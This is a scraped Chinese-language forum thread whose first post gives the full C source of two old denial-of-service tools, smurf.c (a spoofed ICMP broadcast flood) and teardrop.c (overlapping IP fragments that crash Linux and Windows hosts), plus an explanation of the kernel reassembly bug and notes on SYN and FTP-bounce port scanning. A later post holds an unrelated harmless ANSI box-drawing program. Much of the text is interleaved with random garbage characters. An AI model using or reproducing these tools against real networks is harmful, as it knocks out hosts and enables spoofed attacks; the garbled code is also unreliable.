. H6 ? X# ^8 I$ i4 D# c#include <STDIO.H>$ y& N* L8 p$ v. Z, e
#include <STDLIB.H>% R, ?8 s9 c$ x; y0 O5 I0 l# a, F
#include <SYS socket.h>
2 G( |- b" e# i% [#include <SYS types.h>' U7 {2 d5 J7 [, ]* Q1 | G y
#include <NETINET in.h>- c$ w8 |" F, ?9 A' x- u% p
#include <NETINET ip.h>
1 h* U3 t, Y8 h9 `. w: s' ]#include <NETINET ip_icmp.h>* H+ w5 Q- ^8 g
#include <NETDB.H>, A& o% [; C _2 q
#include <CTYPE.H>2 J% J0 k& x' ^& X- ^
#include <ARPA inet.h>' o9 D$ `- [, Q2 y( N
#include <UNISTD.H>
5 g+ r. S" M$ b; E/ o0 h X#include <STRING.H>void banner(void);. b5 {( i' I4 Z( t* ~; J1 E
void usage(char *);# h6 ^7 }0 F- b# a
void smurf(int, struct sockaddr_in, u_long, int);- b. x( t: V/ X- T' A- i
void ctrlc(int);8 l% k; T- [: X: a% f2 [4 e
unsigned short in_chksum(u_short *, int);/* stamp */
5 p2 N& h0 _- V& Uchar id[] = "$Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $";int main (int argc, char *argv[])( o7 B6 q2 d0 |! Y# n4 Q
{# G, s+ q. I7 ?. O0 _; [5 G8 W
struct sockaddr_in sin; w; U$ K4 @+ q8 ^1 O
struct hostent *he;
2 O8 S7 O) e$ X( v- t: F c% ]FILE *bcastfile;
0 @$ {% }1 D9 R& W5 M. Wint i, sock, bcast, delay, num, pktsize, cycle = 0, x;
* f6 I1 B5 ^2 r& _& Cchar buf[32], **bcastaddr = malloc(8192);banner();
2 |9 ]1 C/ h8 R3 w* k, [signal(SIGINT, ctrlc);if (argc < 6) usage(argv[0]);if ((he = gethostbyname(argv[1])) == NULL) { G9 I) A' ?( r$ E$ H
perror("resolving source host");
( ^2 z% V& |7 m/ `exit(-1);! M" M* `. \4 n* t- v8 h
}
3 Y4 F! D) |3 k3 m- C% ]1 Vmemcpy((caddr_t)&sin.sin_addr, he->h_addr, he->h_length);/ o. n$ R- h N9 b: M
sin.sin_family = AF_INET;! h$ L2 M9 w( `
sin.sin_port = htons(0);num = atoi(argv[3]);
8 C H: `3 E) j/ A6 X4 S! udelay = atoi(argv[4]);
- M3 E% p) E/ {: Zpktsize = atoi(argv[5]);if ((bcastfile = fopen(argv[2], "r")) == NULL) {
$ P+ x# ~; ^" J+ tperror("opening bcast file");& o( u2 q" t# x/ ?
exit(-1);
 G/ e! G/ H5 v9 H" U0 R& [8 @}
) l8 @4 i5 x" R4 L m. A+ J) m7 px = 0;
4 r: _! s0 ^7 fwhile (!feof(bcastfile)) {
5 O" e+ Z! K/ |/ cfgets(buf, 32, bcastfile);
8 _9 y5 k) S3 E1 ?+ P$ c) i/ @, o4 hif (buf[0] == '#' || buf[0] == '\n' || ! isdigit(buf[0])) continue;9 y, m5 M$ p: ^6 x" a1 H+ p
for (i = 0; i < strlen(buf); i++)
. e$ K2 ^# Y7 E; P- nif (buf == '\n') buf = '\0';
( P* X: u( f A: s5 a( m2 ybcastaddr[x] = malloc(32);
: Q! r6 V H& e9 @strcpy(bcastaddr[x], buf);4 N/ v$ R$ `) W) e% m4 @3 n
x++;6 }/ ?( A0 c+ a& _8 Y5 |' a
}
- J v8 B' S: W' d% cbcastaddr[x] = 0x0;1 u* O1 G3 Z) E2 n5 B
fclose(bcastfile);if (x == 0) {; r r7 o/ R/ h: d( V. i! I
fprintf(stderr, "ERROR: no broadcasts found in file %s\n\n", argv[2]);
' S8 \' h, W) k0 L8 {' E' eexit(-1);
3 c- ~5 F. X& U r}1 u/ L8 s! u) R+ X
if (pktsize > 1024) {* j( I" ?9 d* o# N7 v E& k7 |
fprintf(stderr, "ERROR: packet size must be < 1024\n\n");: g; ], M0 O! y! q% V2 D
exit(-1);
# @8 w, ?" p6 a}if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {1 v) `! k, q& Q
perror("getting socket");
- ?, R6 j+ e# M6 jexit(-1);
) ?9 x# m) t, `. M+ d; l}
4 N) N- H$ y3 r, q7 psetsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char *)&bcast, sizeof(bcast));printf("Flooding %s (. = 25 outgoing packets)\n", argv[1]);for (i = 0; i < num || !num; i++) {
1 W& P" J" j% e3 N2 eif (!(i % 25)) { printf("."); fflush(stdout); }+ o3 a8 ~/ D' R- C1 G# h" {/ }
smurf(sock, sin, inet_addr(bcastaddr[cycle]), pktsize);: Z4 E8 O# {* `2 c" d/ _1 j: b
cycle++;
, _: F, p4 h+ t$ W' |. p8 t. v2 yif (bcastaddr[cycle] == 0x0) cycle = 0;
# m, f0 _( q; o8 Busleep(delay);
$ y% S7 i) r6 Z2 r}2 N( g( H- E, R5 q0 W2 j/ b) z
puts("\n\n");
3 J' ], `) I+ w- Vreturn 0;+ ] R! V5 t6 e+ p) J; E
}void banner (void)7 L, W* L0 f* O, K
{( i1 H( G2 a# ?8 y9 d4 {9 ?
puts("\nsmurf.c v4.0 by TFreak\n");
& A n$ @# n% z' W9 r8 M# R}void usage (char *prog)3 t0 g0 }3 A$ F- X6 b [5 U
{+ u w+ x7 d9 C6 v% {
fprintf(stderr, "usage: %s <TARGET><BCAST file>"
2 }: Q0 `! V* n3 n1 S a t+ x3 ]"<NUM packets> <PACKET delay><PACKET size>\n\n"% D# Z/ o" `: [3 \& y+ y
"target = address to hit\n"
% e9 u. g6 d9 g9 {! u5 o2 F"bcast file = file to read broadcast addresses from\n"
5 t: K# m$ O; ~, Y! S3 }"num packets = number of packets to send (0 = flood)\n"; f3 e: \. X' e0 e' |/ V( m
"packet delay = wait between each packet (in ms)\n"
/ C& }" _0 n7 A, b"packet size = size of packet (< 1024)\n\n", prog);& K% a e8 \! q \, ~1 L( ]5 _' D
exit(-1);
8 ]/ p4 V4 G; C# k; S}void smurf (int sock, struct sockaddr_in sin, u_long dest, int psize)8 Z3 e5 P4 _8 }4 c! M
{ s. @5 y7 Z/ v
struct iphdr *ip;- Q: A5 }' A1 A% J. D- z/ X2 g0 l
struct icmphdr *icmp; H$ N4 y3 m5 _' W
char *packet;packet = malloc(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);" S/ p- T) ?8 [9 ^; q
ip = (struct iphdr *)packet;4 n0 l6 U1 c1 U
icmp = (struct icmphdr *) (packet + sizeof(struct iphdr));memset(packet, 0, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);9 n6 O8 k0 p& L8 b4 q% i. ~
ip->ihl = 5;' x8 R! Z) q0 f
ip->version = 4;( Q- v4 t' r& A4 y! m1 [9 m
ip->ttl = 255;
, a9 p/ ]6 I3 Eip->tos = 0;/ f) E: b5 ~4 t8 U9 E6 a
ip->frag_off = 0;
/ j" j5 ~) j! P( ^ip->protocol = IPPROTO_ICMP; k$ W5 ^* A, p' ^1 y
ip->saddr = sin.sin_addr.s_addr;
& i! A% ~+ I5 q, Lip->daddr = dest; o+ Z7 o- s" H* [7 H
ip->check = in_chksum((u_short *)ip, sizeof(struct iphdr));
0 N- e8 M% h0 e: ~& iicmp->type = 8;; ?' J% A+ Z& K( u9 ~: Q
icmp->code = 0;
8 U: w3 D/ g0 c2 J( e1 l3 Iicmp->checksum = in_chksum((u_short *)icmp, sizeof(struct icmphdr) + psize);sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize,% v; r* K8 t0 u; u: [
0, (struct sockaddr *)&sin, sizeof(struct sockaddr));free(packet); /* free willy! */* j9 f" {& B1 ^% b2 u, |
}void ctrlc (int ignored). V3 K/ D* \# g: M: a( r$ }6 D4 y
{
1 x) i$ @0 _. A. i. ? Fputs("\nDone!\n");4 M4 Z. I* L' |9 ?0 v9 ~) o/ T9 d
exit(1);. N$ n3 t4 x$ m
}unsigned short in_chksum (u_short *addr, int len)4 W) k" S% W. y; \2 H
{! Q4 N) i. d- S5 z+ v
register int nleft = len;
" }0 C5 k$ I0 c5 \; Jregister int sum = 0;
8 b5 g5 l8 y6 ?1 Bu_short answer = 0;while (nleft > 1) {
2 _5 k3 A: F; C+ x4 xsum += *addr++;% h7 |3 t2 R% Y5 F) E) [9 a( t
nleft -= 2;# M8 [. U t% G- s q' q0 d% p7 u
}if (nleft == 1) {
3 r5 t1 x2 B) x8 G5 d*(u_char *)(&answer) = *(u_char *)addr;
 | d# c( l5 ]* ]& Isum += answer;
1 \* b7 s7 R1 r}sum = (sum >> 16) + (sum + 0xffff);
: c& \1 h/ \$ U" fsum += (sum >> 16);
/ J8 ? a* y$ e5 r: v7 H( Manswer = ~sum;
+ ^9 m* G5 A. @return(answer);
' F" X# e# ~- ~0 m9 U5 W2 D& E, o}/ P g3 C8 m5 A. @
3 Teardrop在Linux的ip包重组过程中有一个严重的漏洞。在ip_glue()中：在循环中重组ip包：1 C8 u% w* X: V* \: a% W' H
fp = qp->fragments;6 z0 I5 d! ]! G* k; x
while(fp != NULL)
$ }- q: h4 Y% S9 m2 U% H; }; j! Z{
6 k) r/ X: E' h1 Y% v; \% ?if(count+fp->len > skb->len)) g( l0 r* [) y l! k: T1 ?! \1 @
{" j% x; F; ]0 c1 }% q. _" r' ~
error_to_big;+ \/ T8 `+ q; v; b6 b
}
3 i9 C( |. e- _$ Gmemcpy((ptr + fp->offset), fp->ptr, fp->len);! k$ Y; P# S# M1 e
count += fp->len;+ Q' Q2 g$ E. q* T
fp = fp->next;
( B! U4 y. ] i! }0 P}& Z- ]: } o; H, ~5 o0 T0 S2 ?
这里只检查了长度过大的情况，而没有考虑长度过小的情况，" L! n* [2 B& D- v& s X" c% E6 f: q
如 fp->len<0 时，也会使内核拷贝过多的东西。计算分片的结束位置：' C, S( c5 M+ d. I5 y' O3 z2 k
end = offset + ntohs(iph->tot_len) - ihl;当发现当前包的偏移已经在上一个包的中间时(即两个包是重叠的）! H& `5 @3 D9 W; P. J
是这样处理的：# @. M5 d- ?" C0 o o( b1 b& D
if (prev != NULL && offset < prev->end)
; |2 E* Y# i$ t& I2 h6 N! S{
$ p3 g; ~: |* M% c4 @( r$ Hi = prev->end - offset;' l. x% n# p" O! h' K5 R/ ]
offset += i; /* ptr into datagram */
, q ]4 \) g$ D" Tptr += i; /* ptr into fragment data */
7 ~' u. |' i: b+ [}/* Fill in the structure. */
$ U1 R, H0 T% @3 h* ?fp->offset = offset;& j3 i$ B! X- r: }& c
fp->end = end;2 u7 m0 b3 i& I. g( _
fp->len = end - offset; //fp->len是一个有符号整数举个例子来说明这个漏洞：
7 ^* ^2 i7 V2 w' v' C第一个碎片：mf=1 offset=0 payload=20
8 g0 L& M7 ]2 B2 g敌二个碎片：mf=0 offset=10 payload=9这样第一个碎片的 end=0+20 7 @; B/ o/ { X3 y. m
offset=0
2 S5 g O5 O- Z4 X+ z这样第二个碎片的 end=9+10=19
+ |/ s: }& [' m" e8 \' I+ uoffset=offset+（20-offset）=20
9 u) {; l6 g1 C* B4 @fp-〉len=19-20=-1； 那么memcpy将拷贝过多的数据导致崩溃。" z: j# y4 N* u7 c6 y0 w' D
/*, y$ g" r2 O" ]0 A4 u7 g
* Copyright (c) 1997 route|daemon9 <ROUTE@INFONEXUS.COM>11.3.97
& R5 @4 V( M7 @" u& D! ] m*
# c" m c; ^' m% K* Linux/NT/95 Overlap frag bug exploit0 K; m7 I9 ^8 n, n
*; k+ i S2 ?# ]1 X
* Exploits the overlapping IP fragment bug present in all Linux kernels and
& T- L- V$ | C- P* NT 4.0 / Windows 95 (others?)
0 J: L2 R. }# W7 }. t*, ~9 R$ ?& s7 S- `: A9 `# B
* Based off of: flip.c by klepto
5 l$ w* O+ q- s+ g* B/ U* Compiles on: Linux, *BSD*6 K6 b9 Y7 b5 d. `
*/ a% o9 g/ c5 t2 @8 s. w/ k
* gcc -O2 teardrop.c -o teardrop" B6 G' e- P/ i, f0 }' K4 |! G; s
* OR
( N5 q! m" {! j4 a8 M/ I1 y* gcc -O2 teardrop.c -o teardrop -DSTRANGE_BSD_BYTE_ORDERING_THING
8 E, k' X% j9 o; Q$ w9 \) p7 @*/#include <STDIO.H>" ?1 X' ]5 y w x3 K$ t
#include <STDLIB.H>' |; M! t/ I. i! @1 G, ]
#include <UNISTD.H>/ ^, ]9 _% s' x: A
#include <STRING.H>/ x' ]1 p8 [$ s" n% I, i) {
#include <NETDB.H>
# a- e3 ^; @) ~/ A% X#include <NETINET in.h>
' O( G U0 z, _ X3 \5 R#include <NETINET udp.h>7 D F8 M* n" y
#include <ARPA inet.h>+ B1 N& P) \# n- ~- y# ?
#include <SYS types.h>
! w! x2 m) A. O) L7 ~: q#include <SYS time.h>; k- m; t2 x# q. M6 U3 c
#include <SYS socket.h>#ifdef STRANGE_BSD_BYTE_ORDERING_THING
; y- } K% R$ d7 p& a/* OpenBSD < 2.1, all FreeBSD and netBSD, BSDi < 3.0 */4 n0 f) ]4 c! |( U
#define FIX(n) (n)9 N/ p5 F# }! s4 E5 T! M, _
#else /* OpenBSD 2.1, all Linux */
$ C+ n; L* d! h `. s3 Q F#define FIX(n) htons(n)1 S i, p0 q8 h; d. {+ U/ \
#endif /* STRANGE_BSD_BYTE_ORDERING_THING */#define IP_MF 0x2000 /* More IP fragment en route */. |7 X# [. T: o# K
#define IPH 0x14 /* IP header size */' v3 h2 O- J3 v
#define UDPH 0x8 /* UDP header size */
0 z0 b2 b$ m8 O9 _' S/ L7 ?#define PADDING 0x1c /* datagram frame padding for first packet */, K3 t9 T3 j. m8 v2 p) G
#define MAGIC 0x3 /* Magic Fragment Constant (tm). Should be 2 or 3 */# b- q( B3 y2 ]. [: _7 X
#define COUNT 0x1 /* Linux dies with 1, NT is more stalwart and can
* A& |' _- D& h4 C$ N* withstand maybe 5 or 10 sometimes... Experiment.6 W9 l8 m2 b$ Z8 d3 C/ p
*/void usage(u_char *);+ Z7 Q) C6 ?; L& L" L! T1 `- M
u_long name_resolve(u_char *);
/ z1 \ \( \; C* B, V" V* v2 \u_short in_cksum(u_short *, int);
9 B( Z1 t/ B; {; ^3 f/ Dvoid send_frags(int, u_long, u_long, u_short, u_short);int main(int argc, char **argv)
9 O+ U- `6 T. n1 |% Z8 X( @{2 M. F; N5 Z. E( E, A
int one = 1,
, @. s* [& n- Gcount = 0, ' @7 [' v1 _8 [; Y% h
i,
' `) d) k% {7 P3 Lrip_sock;
! [( C+ N$ y4 E4 N# L" ju_long src_ip = 0, dst_ip = 0;
- v" [1 u; u& l$ s( L9 O4 o) E: zu_short src_prt = 0, dst_prt = 0;
. K4 E+ z6 ~+ g* Rstruct in_addr addr;fprintf(stderr, "teardrop route|daemon9\n\n");//建SOCK_RAW6 ~+ Q! r' p& Z3 n& N, x2 M% v
if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
% c2 u: f1 C" M! C{
% _/ g& j0 n" e3 Rperror("raw socket");
* S% W% H, j/ P9 @6 Xexit(1);
, Z4 L( H2 j4 F3 ?8 Z- K' N9 Q}% p& J+ Y% w, n) q! m
//由系统处理IP校验和。
( q# X0 @5 m! h( ~- E6 @7 g. Lif (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&one, sizeof(one))4 B! m7 S& T9 B
< 0)7 x: w2 Q9 k9 V! l2 n& j( S
{
' n7 {) n* T! Y U/ ]perror("IP_HDRINCL");
. S+ R* u/ o0 Pexit(1);
& Z9 L, H! X8 y- O+ V( V}if (argc < 3) usage(argv[0]);! @8 v6 v; }& H- ^
if (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2])))
: ^6 `" b$ \. i9 V. ]3 v" J) D{4 o( k. u C j9 u7 M# t% {
fprintf(stderr, "What the hell kind of IP address is that?\n");2 x i# k: V+ z/ G0 J' K
exit(1);# r' `0 V' Z/ l
}while ((i = getopt(argc, argv, "s:t:n:")) != EOF)
1 I1 _9 H9 U' |9 z9 d R( ]{! ^- P$ ^5 m& r/ S- K6 g
switch (i)
5 N' y. C* |% P, p# v8 P; @{
4 n4 n# O. W5 r9 b, \case 's': /* source port (should be emphemeral) */
3 p! }, ~4 j3 i/ ^, v2 Jsrc_prt = (u_short)atoi(optarg);
9 B% @3 ]! J& \# o! }* [$ C' q6 ]break;8 m& R' T1 i6 Q7 l/ I5 w: L
case 't': /* dest port (DNS, anyone?) */' c! k* ^# {# A' g1 C& w
dst_prt = (u_short)atoi(optarg);! `' l! z+ w. R2 z4 j
break;) z' p9 ~- v1 T; X$ ]8 ?( f& z
case 'n': /* number to send */1 T5 A4 Z. ~5 h
count = atoi(optarg);
. U7 e8 I0 B6 c7 o4 L8 hbreak;
. C! A1 s: B9 ~/ e t# rdefault :+ A E. C% K* |8 n# s
usage(argv[0]);, s0 Q" E8 s5 V$ D0 p
break; /* NOTREACHED */
/ M8 ~! j6 c& X& ]. h}
6 i" E4 R ~) T; c: {4 s}srandom((unsigned)(time((time_t)0)));
3 q6 K2 m" [7 V* O0 @" Kif (!src_prt) src_prt = (random() % 0xffff);# t. g( m, z! e$ U0 l
if (!dst_prt) dst_prt = (random() % 0xffff);: A. O0 Z) d! L! z/ ^
if (!count) count = COUNT;fprintf(stderr, "Death on flaxen wings:\n");( c* t% f) f$ I: O
addr.s_addr = src_ip;
2 d' S4 q; ?) o5 [. ]8 C$ nfprintf(stderr, "From: %15s.%5d\n", inet_ntoa(addr), src_prt);; `% j' F! j- V* V% a& B
addr.s_addr = dst_ip;( y0 U+ Z. U( I
fprintf(stderr, " T %15s.%5d\n", inet_ntoa(addr), dst_prt);" E" l" ~ @5 z7 }- `) y
fprintf(stderr, " Amt: %5d\n", count);: V$ I$ @/ a/ ?. n! \
fprintf(stderr, "[ ");for (i = 0; i < count; i++)$ I( ~4 j- z! H+ ]2 r
{
5 g j3 i% [6 t1 Q w# Psend_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);- ^. c. @- ?" ?3 {+ K* ]
fprintf(stderr, "b00m ");
1 g& d$ L$ W1 R9 Nusleep(500);
+ x' o8 V- r7 p2 q}
9 b0 D0 z0 Y- z9 Hfprintf(stderr, "]\n");) j/ W/ R# G0 g5 d" v1 S* r
return (0);
) q. v( v! A* q7 t! ?4 Y5 ^}/*0 S3 s8 S7 C3 I' B% Y! Y# j% I
* Send two IP fragments with pathological offsets. We use an implementation9 Q) k# T. V& ^: U8 j
* independent way of assembling network packets that does not rely on any of
# Z7 i* w, x& i! g5 M" ]; G% \* the diverse O/S specific nomenclature hinderances (well, linux vs. BSD).
( I7 s2 D( l$ f6 V*/void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,
8 S7 @$ ?4 v# a8 r& zu_short dst_prt)
3 T) W* j! w; _. G1 t& ^{, B7 ]5 o2 g- L1 O
u_char *packet = NULL, *p_ptr = NULL; /* packet pointers */( b, d7 S* w! S: c9 J2 X" S+ g' b
u_char byte; /* a byte */& F- n6 P, ^5 t4 j
struct sockaddr_in sin; /* socket protocol structure */sin.sin_family = AF_INET;
% E2 e% X5 i' gsin.sin_port = src_prt;& p9 P) t. i S9 m% n( d q# q
sin.sin_addr.s_addr = dst_ip;/*
- J* f! [7 `/ K# k" F) g8 S* Grab some memory for our packet, align p_ptr to point at the beginning
1 h8 E7 P; k1 ?# N8 }) J1 O) N* of our packet, and then fill it with zeros.- z! F* p! V) w# Y% w
*/
+ O) z. Q5 T6 a3 P5 opacket = (u_char *)malloc(IPH + UDPH + PADDING);4 j( y9 ^3 i6 C. ~+ G$ H/ x
p_ptr = packet;% \0 H# i1 Q1 W. s s( k
bzero((u_char *)p_ptr, IPH + UDPH + PADDING);byte = 0x45; /* IP version and header length */
, x' K }( C" c% G4 l3 omemcpy(p_ptr, &byte, sizeof(u_char));
3 y i( w0 t9 ^p_ptr += 2; /* IP TOS (skipped) */9 j. K& u0 i W6 h# J7 ~& V
*((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING); /* total length */
5 [4 J2 b# y$ ?: h& G. zp_ptr += 2;# W" M# K) t( t s5 M, o2 ^
*((u_short *)p_ptr) = htons(242); /* IP id */% V' D, N" \4 L3 F9 \
p_ptr += 2;! q5 t7 r- o$ g; Q2 g" W5 o
*((u_short *)p_ptr) |= FIX(IP_MF); /* IP frag flags and offset */4 i5 h: Y2 m! J: k. R
p_ptr += 2;
8 T1 } e) Z1 O' w/ X2 }( C9 @*((u_short *)p_ptr) = 0x40; /* IP TTL */
" c5 u( t6 L! c5 q9 w( Ybyte = IPPROTO_UDP;( ? h* C: `. k; c3 Q
memcpy(p_ptr + 1, &byte, sizeof(u_char));
. g- m3 i, k2 v' |( ]) [* M) Hp_ptr += 4; /* IP checksum filled in by kernel */! K, L/ G D/ ?- n- v" H
*((u_long *)p_ptr) = src_ip; /* IP source address */' S' X# l: J1 {* ]& O
p_ptr += 4;
& d3 m1 h" f5 O1 \' s9 L*((u_long *)p_ptr) = dst_ip; /* IP destination address */' J: _! K$ x; j- v: H
p_ptr += 4;
' W( v7 z5 L; _" t! c1 J& [*((u_short *)p_ptr) = htons(src_prt); /* UDP source port */ ~) ?0 }+ Q8 N+ L) ^ C* S
p_ptr += 2;# R: P$ y$ Z+ v! S6 l
*((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */3 |. q/ }# v' g _$ X; m
p_ptr += 2;+ D3 B% m( ~/ O9 K: t- ^* B
*((u_short *)p_ptr) = htons(8 + PADDING); /* UDP total length */if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&sin,+ i8 M7 j6 d1 E0 D
sizeof(struct sockaddr)) == -1)/ d5 b' c* R; y1 r4 c
{* |5 Z' q7 D$ P* [ I
perror("\nsendto");
( o% W" R8 N) l9 H: zfree(packet);
8 n+ p2 H6 ?. Vexit(1);& Y% x5 H; g) W4 ]5 @' O
}/* We set the fragment offset to be inside of the previous packet's
+ T8 f, U8 O9 J% a* payload (it overlaps inside the previous packet) but do not include2 ^+ U- A$ x) `. o, u) y. }0 J
* enough payload to cover complete the datagram. Just the header will
9 G" R3 r" R% m3 z* do, but to crash NT/95 machines, a bit larger of packet seems to work! i/ i1 r9 p+ G* l
* better.
* ?5 d, ^" E) G: t: b8 Y4 N*/
( W; P- \. z9 N7 D4 @7 V6 G4 k' i7 Wp_ptr = &packet[2]; /* IP total length is 2 bytes into the header */" x5 k: r3 A& S; w( V4 x8 f
*((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);
5 [$ I8 _9 O' x1 T, q- S( gp_ptr += 4; /* IP offset is 6 bytes into the header */, t! n- u+ S% K! z$ y
*((u_short *)p_ptr) = FIX(MAGIC);if (sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&sin,
+ \# g3 \& {9 r! v1 r& nsizeof(struct sockaddr)) == -1)
 z. f% a; d) F0 {9 [" N{9 s# L$ D! i: m: J
perror("\nsendto");
: I0 N! J! N$ @5 W4 X) Q. t$ gfree(packet);
0 S: @5 H5 w/ \2 k. i! P6 Wexit(1);
! N2 w, B. P, K! _) n1 A+ U9 C4 n}
* d; r8 m. E3 J1 I5 K5 nfree(packet);7 `* c: x2 U% _' Z9 h# G
}u_long name_resolve(u_char *host_name)
8 q8 N* g: Z* Q{
6 j0 h6 H& q, L( U% i- k# L1 U1 ustruct in_addr addr;7 R5 Z7 Q: P* {, Y# M, y" y5 K
struct hostent *host_ent;if ((addr.s_addr = inet_addr(host_name)) == -1)
* D) x! N- `9 l' T# R& q0 e5 e{
, e1 Z H+ j6 D9 e% J& wif (!(host_ent = gethostbyname(host_name))) return (0);; d4 |% U( t$ ?0 u/ L
bcopy(host_ent->h_addr, (char *)&addr.s_addr, host_ent->h_length);
* B5 t0 t: K D# x}4 z$ d: M9 F4 |: r% Y7 w6 C
return (addr.s_addr);" @* Y" t) I. p: S+ x# \
}void usage(u_char *name)6 V2 I+ H/ F' l1 @2 P( ^. w6 U% P
{" y; Y( w6 D' H2 B9 g: \5 d
fprintf(stderr,
7 u7 M' B1 U ]3 m: W4 n: |"%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n",
. b% v { F- _, T' s. T5 q' Nname);
& i8 w, k5 y' n7 f8 P1 cexit(0);
" ]/ |! o! X! }7 U$ B8 V}
/ A$ e* n8 n: l6 C2 ?4 Portscan 和 AntiportscanPortscan的两种主要方法： : P& t- v4 M* N7 d7 a
(1) Half-open（半打开）- L" X K1 L" A& B6 j- o
利用下面特性：但一个主机收到向某个端口（TCP）发出的(SYN)，
! ]5 v4 v% M7 ~7 u! B1 O; X1 S如果在这个端口有服务，那么返回（SYN+ASK），不然返回（RST）。(2) FTP scanner' A$ C! @/ w6 ~5 c. P) |$ q
利用了FTP的port命令，例如可以这样作：+ ?! N; K* S0 P* l3 V$ q
选择一个FTP服务器，连上后令port命令指向目标机，如果返回( n3 w# J7 E" I. A: L
值是正确的，那么目标机的该端口是有服务的，如返回打开端口错误则
+ j# x3 }4 P2 ]+ d/ F$ {该端口无服务。
7 G9 w, F c' t$ h9 N' Ztelnet 192.168.1.13 215 L! F& p) o* \* y% V: p
Trying 192.168.1.13...' Z( J6 c! B; @! o
Connected to pp.bricks.org.9 z8 u5 d' I$ \+ ~% q
Escape character is '^]'.% z1 D9 S. E$ ~* q Y
220 pp.bricks.org FTP server (Version wu-2.4.2-academ[BETA-16](1) + i% T0 A5 s; k/ f1 l. g$ S3 t
Thu May 7 23:18:05 EDT 1998) ready.user anonymous$ M7 i: M% \4 R3 ?( d
331 Guest login ok, send your complete e-mail address as password.
7 W f( b( N- H' ~pass aa@aa.aa
& V4 m, K: \7 }% J230 Guest login ok, access restrictions apply.
2 v& y3 N4 w' x4 N$ G: w; Yport a,b,c,d,p1,p2 // a.b.c.d是要探测的目标 p1 p2是目的端口150 Opening ASCII mode data connection for file list.
6 k7 J: S% u: t. B* @- j8 A425 Can't build data connection: Connection refused.
* {* r# r: t7 v; g8 O$ o3 o//该端口未活动 ; A. R" O1 \6 @9 `0 d9 A2 @1 q
150 Opening ASCII mode data connection for file list.
0 Z% H: B. d9 Z+ m; o5 X$ o226 Transfer complete.3 V1 p$ m+ y2 x4 K* P2 t
//该端口活动中2 v3 b, d$ Y; C, R0 h4 H
但有些FTP服务器禁止你将数据连接影响其他地址，那就没办法了。上述两种方法是通用的，而针对个别系统有一些特殊方法。如一些系统受到包后会作如下处理：标志活动的端口的应答不活动端口的应答 SYN SYN|ACK RST 或 Nothing8 s, ^3 c* t% Z: ]% C
SYN|FIN ACK or SYN|ACK* RST; I, A% `# K: w- V4 X$ Y
ACK Nothing RST0 g4 a( v" n! M! z- J
0 flag Nothing RST你最好是试一试。Antiport" Y) g" k" J, F& Y, W E1 d
一般是调用 sd=socket(PF_INET,SOCK_RAW,6),然后不停的读，
5 U w$ D$ u- k' Q* p若发现一个主机不停的象你发送（SYN）包，却没有完成连结，可以认0 w9 q5 D7 E( c, w# |6 h# _4 |
定它在向你做portscan。notes： S9 D+ @8 M! W7 t2 r* p8 }' F; W
早期的portscan程序是老老实实的向你一个一个端口连（完成三次握手），
, S' ^3 k8 |# d2 B3 z0 L而一些antiscan是在一个平时不用的端口上起一个服务器，并认为连上来的) u+ ?7 ^9 D- J8 F
都是向它scan。

我也说一句

发表

使用道具举报

韩冰

823 主题	3 听众	4048 积分

我的地盘我做主

该用户从未签到

3^#

发表于 2004-10-4 02:39 |只看该作者 |招呼Ta 关注Ta

<DIV align=center>设计彩色框的C源程序</DIV><

>
/*
*
* Short driver module
*
*/<

>main()
{
clrscr();
box(1,1,23,79);
box(2,2,21,77);
box(3,3,19,75);
box(4,4,17,73);
box(5,5,15,71);
box(6,6,13,69);
box(7,7,11,67);
box(8,8,9,65);
box(9,9,7,63);
box(10,10,5,61);
box(11,11,3,59);
box(12,12,1,57);
poscur(24,1);
}<

>/************************************************************
* BOX *
*----------------------------------------------------------*
* Written by: Jeff Ebert 7/01/87 *
* Modified by: xxxxxxxxxx *
* *
* Please modify me! *
* Possible Enhancements include but are not limited t *
* 1) Variable box character styles [1 line or 2] *
* 2) Error checking *
* 3) Color options *
* *
* *
* This function builds a simple double frame for a menu. *
* The function is passed the parameters for the upper *
* left corner row, upper left corner column the height *
* of the frame and the width. *
* *
************************************************************/
#include <STDIO.H><

>#define ULCOR 201
#define URCOR 187
#define LLCOR 200
#define LRCOR 188
#define VBAR 186
#define HBAR 205
#define ESC 27<

>
box(row, col, hgt, wdth)
int row, col, hgt, wdth;<

>{
int x, y;<

>poscur(row,col);
putchar(ULCOR);
for(x = col + 1; x <=(col + wdth -1); x++)
putchar(HBAR);
putchar(URCOR);<

>for(x = row + 1; x <=(row + hgt - 1); x++){
poscur(x,col);
putchar(VBAR);
poscur(x,col+wdth);
putchar(VBAR);
}
poscur(x,col);
putchar(LLCOR);
for(x= col + 1; x <=(col + wdth -1); x++)
putchar(HBAR);
putchar(LRCOR);
}<

>/********************************************************
* POSCUR *
*------------------------------------------------------*
* This function positions the cursor at the specified *
* x,y coordinate. It uses the ANSI standard ESCAPE *
* sequence to produce the desired effect. Its not the *
* fastest way to position the cursor, but perhaps the *
* most portable. *
* *
********************************************************/
poscur(xcor,ycor)
int xcor,ycor;
{
printf("%c[%d;%dH",ESC,xcor,ycor);
}<

>
/********************************************************
* CLRSCR *
*------------------------------------------------------*
* This function positions the cursor at the specified *
* x,y coordinate. It uses the ANSI standard ESCAPE *
* sequence to produce the desired effect. Its not the *
* fastest way to position the cursor, but perhaps the *
* most portable. *
* *
********************************************************/
clrscr()
{
printf("%c[2J",ESC);
}

我也说一句

发表

使用道具举报

韩冰

823 主题	3 听众	4048 积分

我的地盘我做主

该用户从未签到

2^#

